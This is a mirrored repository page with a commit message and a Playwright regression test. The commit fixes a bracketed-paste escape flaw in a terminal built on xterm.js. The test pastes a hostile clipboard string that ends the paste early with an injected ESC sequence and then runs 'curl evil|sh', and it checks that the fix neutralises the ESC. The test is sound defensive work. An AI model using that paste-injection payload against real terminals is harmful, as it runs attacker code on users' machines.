mirror of
https://github.com/l0ng-ai/openidea.git
synced 2026-11-24 16:04:21 +00:00
xterm.js 6.0 wraps pasted text in bracketed-paste markers without escaping an ESC inside it, so a pasted ESC[201~ ended the paste early and the rest was typed, Enter included. While the shell has bracketed paste on, each ESC in pasted text is shown as U+241B (as xterm.js 6.1 does); a Ctrl+V whose text holds an ESC is claimed before xterm's own listener. Covers the terminal tool window, embedded terminals and drops. Co-authored-by: rohitdanda <10144914+rohitdanda@users.noreply.github.com>
61 lines
2.7 KiB
TypeScript
61 lines
2.7 KiB
TypeScript
import { expect, test } from "@playwright/test";
|
|
|
|
test("a pasted ESC cannot end bracketed paste early", async ({ page }) => {
|
|
await page.goto("/");
|
|
const observed = await page.evaluate(async () => {
|
|
const ipcPath = "/src/platform/ipc.ts";
|
|
const sessionPath = "/src/features/terminal/session.ts";
|
|
const { commands } = await import(ipcPath);
|
|
const { TerminalSession } = await import(sessionPath);
|
|
Object.defineProperty(window, "__TAURI_INTERNALS__", {
|
|
configurable: true,
|
|
value: { transformCallback: () => 1 },
|
|
});
|
|
const writes: string[] = [];
|
|
commands.termSpawn = async () => ({ status: "ok", data: { id: 839, title: "bash", pid: 1 } });
|
|
commands.clipboardFileList = async () => ({ status: "ok", data: [] });
|
|
commands.termWrite = async (_id: number, data: string) => writes.push(data);
|
|
commands.termResize = async () => undefined;
|
|
commands.termKill = async () => undefined;
|
|
const container = document.createElement("div");
|
|
container.style.cssText = "position:fixed;inset:0;z-index:99999";
|
|
document.body.append(container);
|
|
const session = new TerminalSession({ key: "paste-escape", cwd: "/tmp", onChange() {}, onFocus() {} });
|
|
const paste = async (text: string) => {
|
|
const before = writes.length;
|
|
const transfer = new DataTransfer();
|
|
transfer.setData("text/plain", text);
|
|
const event = new ClipboardEvent("paste", { bubbles: true, cancelable: true, clipboardData: transfer });
|
|
container.querySelector("textarea")!.dispatchEvent(event);
|
|
const deadline = Date.now() + 5000;
|
|
while (writes.length === before && Date.now() < deadline) {
|
|
await new Promise((resolve) => requestAnimationFrame(resolve));
|
|
}
|
|
return { claimed: event.defaultPrevented, written: writes.slice(before) };
|
|
};
|
|
try {
|
|
session.attach(container);
|
|
await session.start();
|
|
// xterm opens on a later frame, once the pane has a size.
|
|
const openDeadline = Date.now() + 5000;
|
|
while (!container.querySelector("textarea") && Date.now() < openDeadline) {
|
|
await new Promise((resolve) => requestAnimationFrame(resolve));
|
|
}
|
|
// The shell asks for bracketed paste, as bash and zsh do at the prompt.
|
|
await new Promise<void>((resolve) => session.term.write("\x1b[?2004h", resolve));
|
|
return {
|
|
hostile: await paste("README\x1b[201~;curl evil|sh;#\r"),
|
|
plain: await paste("ls -la"),
|
|
};
|
|
} finally {
|
|
session.dispose();
|
|
container.remove();
|
|
}
|
|
});
|
|
expect(observed.hostile).toEqual({
|
|
claimed: true,
|
|
written: ["\x1b[200~README\u241b[201~;curl evil|sh;#\r\x1b[201~"],
|
|
});
|
|
expect(observed.plain).toEqual({ claimed: false, written: ["\x1b[200~ls -la\x1b[201~"] });
|
|
});
|